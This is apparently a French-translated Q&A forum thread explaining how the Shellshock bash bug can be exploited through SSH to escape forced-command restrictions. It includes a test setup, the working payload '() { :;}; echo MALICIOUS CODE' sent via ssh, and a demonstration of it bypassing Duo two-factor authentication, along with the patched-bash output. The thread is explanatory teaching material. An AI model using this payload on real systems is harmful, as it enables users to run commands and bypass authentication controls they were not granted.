comment shellshock peut-il être exploité sur SSH?

68

Apparemment, l'exploit Csh-2014-6271 de Bash shellshock peut être exploité sur le réseau via SSH. Je peux imaginer comment l'exploit fonctionnerait avec Apache / CGI, mais je ne peux pas imaginer comment cela fonctionnerait avec SSH?

Quelqu'un peut-il, s'il vous plaît, donner un exemple de la manière dont la SSH serait exploitée et quel préjudice pourrait être causé au système?

CLARIFICATION

AFAIU, seul un utilisateur authentifié peut exploiter cette vulnérabilité via SSH. À quoi sert cet exploit pour quelqu'un qui a de toute façon un accès légitime au système? Je veux dire, cet exploit n'a pas d'élévation de privilèges (il ne peut pas devenir root), il ne peut donc pas faire plus qu'il n'aurait pu faire après s'être connecté de manière légitime via SSH.

Martin Vegter
la source
En termes simples, cela ne peut être fait que si quelqu'un a déjà accès à votre boîte. Un nouveau shell bash n'est exécuté qu'après une tentative de connexion réussie.
Evert
C'est surtout du battage médiatique, ça peut arriver, mais ce n'est pas aussi grave qu'on le prétend.
jgr208
Les noms d'utilisateur vont-ils mot pour mot dans les journaux? Si oui, peut-être existe-t-il un script bash de journal qui est vulnérable quelque part ...
PlasmaHH
1
@PlasmaHH Si vous exécutez votre script d'analyse de journal en tant que root, vous méritez ce que vous obtenez.
Barmar
@Barmar: outre que la question ne vise pas spécifiquement à obtenir un accès root, mais un accès à la machine (qui peut être tout ce qui est nécessaire pour, par exemple, la défigurer ou faire autre mal), lorsque vous pouvez exécuter du code, il y a de fortes chances que vous puissiez également exécuter un code qui exploite quelque chose d'autre qui vous gagne la racine.
PlasmaHH

Réponses:

79

Un exemple où ceci peut être exploité est sur des serveurs avec une authorized_keyscommande forcée. Lors de l'ajout d'une entrée à ~/.ssh/authorized_keys, vous pouvez préfixer la ligne avec command="foo"pour forcer fool'exécution à chaque fois que la clé publique ssh est utilisée. Avec cet exploit, si le shell de l'utilisateur cible est défini sur bash, ceux-ci peuvent en tirer parti pour exécuter des opérations autres que la commande à laquelle ils sont obligés.

Cela aurait probablement plus de sens dans l'exemple, alors voici un exemple:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Ici, nous configurons un utilisateur testuser, qui force toutes les connexions SSH utilisant votre clé SSH à s'exécuter echo starting sleep; sleep 1.

Nous pouvons tester cela avec:

$ ssh testuser@localhost echo something else
starting sleep

Notez que notre commande ne s'exécute echo something elsepas, mais qu'elle starting sleepindique que la commande forcée a été exécutée.

Voyons maintenant comment cet exploit peut être utilisé:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Cela fonctionne car sshddéfinit la SSH_ORIGINAL_COMMANDvariable d'environnement sur la commande transmise. Ainsi, même s’il a été sshdexécuté sleep, et non la commande à laquelle je l’ai dit, à cause de l’exploit, mon code est toujours exécuté.

Patrick
la source
1
essayez plutôt ceci: ssh testuser@localhost echo something else '`whoami`' afin de prouver où la commande est exécutée
Richard,
1
J'ajouterais à cette réponse qu'en termes de SSH, l'exploit autorise uniquement un utilisateur autorisé avec une clé autorisée (une clé autorisée peut être considérée comme un mot de passe long) pour exécuter des commandes pour lesquelles il n'est pas normalement autorisé. Cela ne permet à personne sans cette clé autorisée de faire quoi que ce soit. Je ne pense pas que cela ressort clairement de la réponse si vous n'avez pas une compréhension décente de SSH et de la signification de allowed_key.
Chris Dragon
@skrewler C'est généralement un bon signe que vous interprétez mal quelque chose. Par exemple, la réponse consiste à expliquer comment, si testuser recevait la configuration du compte fournie par un administrateur, comment testuser pourrait échapper aux restrictions qui lui avaient été attribuées. Et non, aucune implication dans bash ne signifie que vous pouvez exploiter shellshock. Ce n'est que lorsque bash est en cours d'exécution avec des autorisations que l'utilisateur n'a normalement pas, mais qu'il a une influence sur les variables d'environnement de cette bash.
Patrick
Ok, je comprends ce que vous essayez de montrer maintenant: une configuration qui limite testuser à la commande dans .authorized_keys et non à un shell de connexion. Cela n’a aucun sens pour moi de modifier vos propres .authorized_keys avec une entrée qui exécute une commande alors que vous avez déjà un accès au shell (car cela ne fournirait pas d’exécution de privilège) edit: commentaire supprimé, je reste corrigé.
Skrewler
26

Reprenons l'exemple de Ramesh: si vous utilisez une authentification à deux facteurs, il est possible de contourner le deuxième facteur à l'aide de cet exploit, en fonction de la manière dont il est implémenté.

- Connexion normale -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Code en cours d'exécution sans 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Vous remarquerez qu'il a exécuté le code sans demander 2FA.

- Après avoir patché bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
la source
1
Juste pour limiter la panique d’éventuels lecteurs utilisant le second facteur: "en fonction de la manière dont il est implémenté" - je suppose que vous supposez que ce second facteur est implémenté dans bash ou utilise la readfonction. Sinon, l'utilisateur est en sécurité.
Grzegorz Wierzowiecki
25

Shellshock est une vulnérabilité sur bash, pas sur SSH. Pour l'exploiter, un attaquant doit obliger le système vulnérable à exécuter bash et à contrôler la valeur d'une variable d'environnement qui sera transmise à bash.

Pour pouvoir accéder à un processus bash via SSH, l'attaquant doit réussir les étapes d'authentification. (Il peut exister des vecteurs d'attaque via d'autres services réseau, mais ils dépassent le cadre de ce fil.) Si le compte est autorisé à exécuter des commandes shell arbitraires, il n'y a pas d'attaque. La vulnérabilité entre en jeu si le compte est limité à l'exécution de commandes spécifiques: par exemple, un compte uniquement SFTP ou un compte git uniquement, etc.

Il existe plusieurs façons de restreindre un compte à l’exécution d’une commande spécifique avec SSH: avec l’ ForceCommandoption in sshd_configou avec a command=. restriction dans le authorized_keysfichier. Si le shell de l'utilisateur est bash, la vulnérabilité Shellshock permet à un utilisateur qui aurait normalement accès uniquement au compte restreint de contourner la restriction et d'exécuter des commandes arbitraires.

Gilles, arrête de faire le mal
la source
Et ce n'est pas un travail pour d'autres coquilles, comme zsh.
Eir Nym